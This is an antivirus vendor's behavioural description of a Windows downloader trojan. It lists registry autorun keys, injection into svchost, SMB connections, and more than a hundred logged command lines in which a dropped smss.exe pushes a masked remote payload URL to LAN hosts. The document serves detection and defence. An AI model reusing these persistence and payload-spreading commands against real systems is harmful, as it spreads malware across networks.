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Trojan.DownLoader10.39645

Added to the Dr.Web virus database: 2013-11-02

Virus description added:

Technical Information

To ensure autorun and distribution:
Modifies the following registry keys:
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'msn.exe' = '<DRIVERS>\csrss.exe'
Malicious functions:
Creates and executes the following:
  • '<DRIVERS>\smss.exe' /pid=3168
  • '<DRIVERS>\smss.exe' 10.0.0.102 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.103 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.104 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=3248
  • '<DRIVERS>\smss.exe' 10.0.0.100 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.99 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=2912
  • '<DRIVERS>\smss.exe' /pid=3064
  • '<DRIVERS>\smss.exe' 10.0.0.101 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=3540
  • '<DRIVERS>\smss.exe' 10.0.0.109 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.110 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=3584
  • '<DRIVERS>\smss.exe' 10.0.0.111 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=3284
  • '<DRIVERS>\smss.exe' 10.0.0.105 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.106 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.108 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.107 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.88 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.87 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.89 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.90 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=888
  • '<DRIVERS>\smss.exe' 10.0.0.83 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.82 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.84 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.86 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.85 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=2748
  • '<DRIVERS>\smss.exe' 10.0.0.96 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.97 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.98 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=2792
  • '<DRIVERS>\smss.exe' 10.0.0.93 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.91 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.94 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.95 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.92 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.113 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.137 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.136 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.138 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.140 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.139 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.132 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.131 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.133 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.135 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.134 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.147 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.146 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.148 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.150 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.149 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.142 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.141 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.143 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.145 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.144 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.118 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.117 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.119 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.121 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.120 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.114 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=3764
  • '<DRIVERS>\smss.exe' 10.0.0.115 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=504
  • '<DRIVERS>\smss.exe' 10.0.0.116 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.128 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.127 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.129 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=3420
  • '<DRIVERS>\smss.exe' 10.0.0.130 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.123 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.122 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.124 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.126 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.125 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.81 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.27 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.26 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.28 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.30 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.29 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.22 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.21 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.23 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.25 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.24 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.37 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.36 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.38 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.40 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.39 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.32 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.31 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.33 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.35 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.34 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.7 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.6 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.8 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.10 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.9 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.2 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\csrss.exe'
  • '<DRIVERS>\smss.exe' 10.0.0.3 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.5 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.4 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.17 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.16 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.18 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.20 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.19 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.12 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.11 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.13 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.15 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.14 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.41 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.69 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.68 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.70 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.72 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.71 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.63 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.62 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.64 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.66 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.65 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.79 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.78 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=3632
  • '<DRIVERS>\smss.exe' /pid=3736
  • '<DRIVERS>\smss.exe' 10.0.0.80 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.74 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.73 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.75 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.77 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.76 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.48 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.47 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.49 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.51 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.50 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.43 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.42 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.44 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.46 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.45 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.58 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.57 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.59 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.61 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.60 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.53 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.52 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.54 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.56 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.55 http://co##t.xj.cn/count/js/update/se.exe
Executes the following:
  • '<SYSTEM32>\find.exe' "IP Address"
  • '<SYSTEM32>\ipconfig.exe'
  • '%WINDIR%\regedit.exe' /s <DRIVERS>\1.txt
Injects code into
the following system processes:
  • <SYSTEM32>\svchost.exe
Modifies file system :
Creates the following files:
  • \Device\LanmanRedirector\10.0.0.15\pipe\browser
  • \Device\LanmanRedirector\10.0.0.14\pipe\browser
  • \Device\LanmanRedirector\10.0.0.13\pipe\browser
  • \Device\LanmanRedirector\10.0.0.16\pipe\browser
  • \Device\LanmanRedirector\10.0.0.19\pipe\browser
  • \Device\LanmanRedirector\10.0.0.18\pipe\browser
  • \Device\LanmanRedirector\10.0.0.17\pipe\browser
  • <DRIVERS>\csrss.exe
  • <DRIVERS>\1.txt
  • <DRIVERS>\smss.exe
  • %TEMP%\bt8001.bat
  • \Device\LanmanRedirector\10.0.0.12\pipe\browser
  • \Device\LanmanRedirector\10.0.0.11\pipe\browser
  • \Device\LanmanRedirector\10.0.0.10\pipe\browser
Sets the 'hidden' attribute to the following files:
  • %TEMP%\bt8001.bat
Network activity:
Connects to:
  • '<Private IP address>':80
  • '<Private IP address>':139
  • '<Private IP address>':445
Miscellaneous:
Searches for the following windows:
  • ClassName: 'RegEdit_RegEdit' WindowName: '(null)'
  • ClassName: 'Indicator' WindowName: '(null)'
  • ClassName: 'EDIT' WindowName: '(null)'
  • ClassName: 'Shell_TrayWnd' WindowName: '(null)'

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
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